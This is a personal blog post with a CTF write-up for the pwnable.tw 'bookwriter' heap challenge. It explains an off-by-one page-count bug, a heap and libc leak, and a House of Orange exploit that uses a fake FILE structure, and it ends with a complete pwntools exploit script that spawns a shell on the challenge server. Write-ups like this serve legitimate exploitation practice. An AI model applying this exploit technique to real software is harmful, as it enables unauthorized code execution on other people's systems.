notes on bookwriter (pwnable.tw)

Preface that is completely unimportant:

Since the completion of interpreter and shelling folder, i have been self-confident and started to look around for questions. As a result, the banker who solved defcon 2016 qual was immediately hit, and the reverse analysis of static links was troublesome.

Interpreter, shelling folder and banker were all found out from ctf4u. I started thinking about improving my heap ability, so I went to how2heap to find a problem to practice.

0ctf babyheap is very simple, but the search engine in 2015 is more difficult (some should be cuz I did not expect the leak vulnerability, so all use fastbin double free to get), after the sleepy holder is closed, it really still Not enough to solve medium medium?

The topic is not difficult, I feel very much like the sample question of spirited_away, it is suitable for the study of house of spirited (I don’t know if there is any misspelling), but it is about the unfamiliar reason, I still stepped on some pits to solve (the most stupid I always pass the fake chunk header to free, forgetting to pass the chunk data pointer).

Then I solved the alive_note, which is an advanced version of death_note. Two questions are almost the same. I even modified the exploit death_note to change the difference. The difference is that a note can write a limited byte (8 bytes), and this time I can only eat alnum. It’s not easy to get it. The suggestion is to make a read syscall and then write shellcode.

SOMEONE COME TO THE TOPIC:

The topic (it seems too much nonsense in front…):

./bookwriter: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8c3e466870c649d07e84498bb143f1bb5916ae34, stripped
[*] '/home/barbarossa/Desktop/challenge/solve/bookwriter_pwnable.tw/bookwriter'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled

The bookwriter title is not complicated, he provides several functions: add, modify, observe, print and modify the author’s name.

switch ( read_int() )
    {
      case 1LL:
        add();
        break;
      case 2LL:
        view();
        break;
      case 3LL:
        edit();
        break;
      case 4LL:
        info();
        break;
      case 5LL:
        exit(0);
        return;
      default:
        puts("Invalid choice");
        break;
    }
  }
}

The new part will give you the space of any size of malloc, let you input the data, and finally put the space of malloc into char *book[8], then put the required size into the size array next to the book array.

for ( i = 0; ; ++i )
  {
    if ( i > 8 )
      return puts("You can't add new page anymore!");
    if ( !*&book_shrief[8 * i] )
      break;
  }
  printf("Size of page :");
  size = read_int();
  a1 = malloc(size);
  if ( !a1 )
  {
    puts("Error !");
    exit(0);
  }
  printf("Content :");
  input(a1, size);
  *&book_shrief[8 * i] = a1;
  size_table[i] = size;

The modified part is to take the pointer according to the book array, size array to take out the size, and finally save the modified size with strlen()

if ( *&book_shrief[8 * v1] )
  {
    printf("Content:");
    input(*&book_shrief[8 * v1], size_table[v1]);
    size_table[v1] = strlen(*&book_shrief[8 * v1]);
    result = puts("Done !");
  }

Observe nothing to say, print out the string pointed by the pointer.

if ( *&book_shrief[8 * v1] )
  {
    printf("Page #%u \n", v1);
    result = printf("Content :\n%s\n", *&book_shrief[8 * v1]);

Print the author’s name… print out the author’s name and ask if you want to change it.

printf("Author : %s\n", byte_602060);
  printf("Page : %u\n", cnt);
  printf("Do you want to change the author ? (yes:1 / no:0) ");
  _isoc99_scanf("%d", &v1);
  if ( v1 == 1 )
    input_author();

The more special thing about this topic is that he doesn’t have this function free. In this case, it seems that 87% of the problems related to the heap exploit are not free and actually full of strange.

The loophole is that the newly added function can only add 0~7, but he judged that it is not done, it becomes 0~8, and the size array is close to the book array, so the page 8 will cover the size array. The first element, which is the size of page 0, so you can change the size of page 0 to be oversized, so there is a heap overflow vulnerability when you modify it.

for ( i = 0; ; ++i )
  {
    if ( i > 8 )
      return puts("You can't add new page anymore!");
    if ( !*&book_shrief[8 * i] )
      break;
  }

In addition, the last end of the printed author does not add a null byte, you can print the address of page 0, causing the heap address to leak.

__int64 input_author()
{
  printf("Author :");
  return input(byte_602060, 0x40u);
}

__int64 __fastcall input(char *a1, unsigned int a2)
{
  int v3; // [sp+1Ch] [bp-4h]@1

  v3 = _read_chk(0LL, a1, a2, a2);
  if ( v3 < 0 )
  {
    puts("read error");
    exit(1);
  }
  if ( a1[v3 - 1] == 10 )
    a1[v3 - 1] = 0;
  return v3;
}

Since the program does not have the free function, it will not clear the address of the book table, and her new judgment is based on whether the address is 0, so it is reasonable to use it as long as it is full, but based on modifying the function. The method of changing size inside is strlen(), so when you change the page 0, you can write size 0 to 0, and then combine the above vulnerability, and then write the malloc address on size 0, so there is an arbitrary number of times.

I have a bottom when I see this, it is clear that I want to play house of force! Can cover top size + any number of malloc, just change the top chunk to the book array, then malloc one, you can control the book array, and finally write the page pointer above the book array, you can leak + arbitrary memory write.

The above is just thinking about it. It is not feasible to be specific, Cuz I have failed to make the house of force want to change the top chunk address.

The reason for the failure is that after I changed the top chunk size to -1, I want malloc a large chunk to move the top chunk, and the oversized value I want to use a negative number. The value is based on eax, which means that only 4 bytes is transmitted. Under x64, it is not a negative number!

loc_400912:
lea     rax, [rbp+nptr]
mov     rdi, rax        ; nptr
call    atol
mov     [rbp+var_24], eax ; <---eax 32bit 0xffffffffdeadbeef -> 0xdeadbeef
mov     eax, [rbp+var_24]
mov     rdx, [rbp+var_8]
xor     rdx, fs:28h
jz      short locret_400938

I am depressed for a long time here, I still think that there is no chance for the old half to pass the negative number into malloc.

After abandoning a few episodes of TV series, I suddenly flashed a flash of light. This topic seems to be a similar topic in the ctf course of a semester. I also have no free and can cover the top chunk size. After orange made free, then use the house of force to write the hook variable.

So I turned to find the solution of the house of orange, it seems to be really feasible after looking at it!

Before the start of the new print, the author is printed, cuz scanf will take the space on the heap as the buffer, causing trouble in the back. More chunks of 0x1010 size are blocked in the inside. If you print it first, you can put 0x1010 at the beginning of the heap. Influence subsequent overflow.

Then add a page with size 0, let the author print to leak the heap address, and size 0 can be written on size 0 when adding page 8.

Add the remaining eight pages, and fill the size 0 with the heap address to change the size of the page 0, use edit to modify the page 0 to let her cover the top chunk all the way, how to cover the house of orange writeup, some inspections should be around However, simply speaking, if the size of the top chunk is 0x20ff0, put her to 0xff0.

Then you need a 0x1000 size page, the original topchunk will be freed, cuz you need to cut the unsorted chunk to malloc a space, so the back should be set so that the heap will not break (but the exploit I actually sent is not set. It’s still possible to exploit later, it’s really inexplicable).

With a chunk in the unsorted bin, I again overflow the page 0, write a bunch of a until the unsorted chunk fd, then view page 7 to leave the libc address, and then again overwrite the blocked chunk header.

After knowing the libc address, the next step is to construct a fake file structure. The same as the page 0, the overflow construct starts. I first construct the vtable, then cover the unsorted chunk, and treat the entire unsorted chunk as the fake file structure. The prev_size is used as the flags and is written as ‘/ Bin/sh\x00’, size is changed to 0x61, this is to prepare for the subsequent exploits, fd casually, bk fill in _IO_list_all – 0x10, after the unsorted bin attack can change the address of _IO_list_all to main The arena stores the address of the top chunk address, and the flag of the fake file structure of the top chunk address is smallbin[4], which is 0x61. The top chunk fake file structure is not specially set, so the check will not pass. Go to the smallbin[4] pointed to by the chain and continue fflush:

When I modified the size, I thought that the size of the chunk could not be tampered. Later I saw the house of orange and found that the size of the chunk could be directly changed. It should be cuz the unsorted bin has only one bin, so the size is String together, and will not be consolidate (should say consolidate will occur before the inset into the unsorted bin), you can safely modify the husband! (if you have to cut the unsorted chunk, you should set it back with peace of mind)

The following write_ptr is greater than write_base, mode is less than or equal to 0 (the reason is still reference to house of orange), and finally in the file + 0xd8 is vtable filled with fake vtable address, and finally a space larger than 0x61 can be unsorted bin attack Change _IO_list_all to point to smallbin[4], and the chunk of 0x61 will also be placed in smallbin[4]. Cuz unsorted bin attack destroys unsorted bin, it will enter abort routine and finally trigger _IO_overflow. To the shell.

After getting this, local lib can easily get the shell. When I switch the lib of the title, it is unsuccessful. Cuz lib has no debug symbol, the whole super-difficult debug, I have to do it several times. After that, you can… and use the house of orange for a few more times…

#!/usr/bin/env python

from pwn import *

#r = remote('127.0.0.1', 8888)
r = remote('chall.pwnable.tw', 10304)

elf = ELF('./bookwriter')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc_64.so.6')

context.arch = 'amd64'
context.log_level = 'debug'

def author(name):
    r.sendafter('Author :', name)

def add(sz, content):
    r.sendlineafter('choice :', '1')
    r.sendlineafter('page :', str(sz))
    r.sendafter('Content :', content)

def view(idx):
    r.sendlineafter('choice :', '2')
    r.sendlineafter('page :', str(idx))

def edit(idx, content):
    r.sendlineafter('choice :', '3')
    r.sendlineafter('page :', str(idx))
    r.sendafter('Content:', content)

def info(chg=0, name=''):
    r.sendlineafter('choice :', '4')

author('a'*0x40)
info()
r.sendlineafter(') ', '0')
add(0, 'acd')
info()
r.recvuntil('a'*0x40)
heap = u64(r.recvuntil('\n', drop=True).ljust(8, '\x00'))
log.info('heap ' + hex(heap))
pause()
r.sendlineafter(') ', '0')
for i in range(8):
    add(0x10, 'acd')
#edit(0, '\x00'*0x10 + flat(0, 0x21, 0x41, 0)*8 + flat(0, 0xed1) + '\x00'*0xec0 + flat(0xed0, 0x20000)) #overwrite top chunk ee1
edit(0, '\x00'*0x10 + flat(0, 0x21, 0x41, 0)*8 + flat(0, 0xed1)) #overwrite top chunk ee1
add(0x1000, 'abcd') #trigger free by sysmalloc

edit(0, 'a'*0x10 + 'a'*0xc0 + 'a'*0x10 + 'a'*0x40) #leak libc address
view(7)
r.recvuntil('a'*0x40)
leak_libc = u64(r.recvn(6).ljust(8, '\x00'))
log.info('leak glibc ' + hex(leak_libc))
libc.address = leak_libc - 0x3c3b78
log.info('libc base ' + hex(libc.address))
pause()
edit(0, '\x00'*0x10 + flat(0, 0x21, 0x41, 0)*8 + flat(0, 0xed1)) #restore
add(0x10, 'a')
payload = p64(0)*3 #vtable address: heap + 0x10
payload += p64(libc.sym['system'])*1
payload += p64(0)*34
payload += '/bin/sh\x00'
payload += p64(0x61)
payload += flat(0xdeadbeef, libc.sym['_IO_list_all'] - 0x10)
payload += flat(0,1)
payload += '\x00'*cyclic_find(0x6161616161616176, n=8)
payload += p64(heap)
edit(0, payload)
pause()
r.sendlineafter('choice :', '1')
r.sendlineafter('page :', str(0xa0))

r.interactive()

there are many solutions but today it is enough for me (dont blame me).

This entry was posted in security and tagged , , . Bookmark the permalink.

Leave a Reply

Your email address will not be published. Required fields are marked *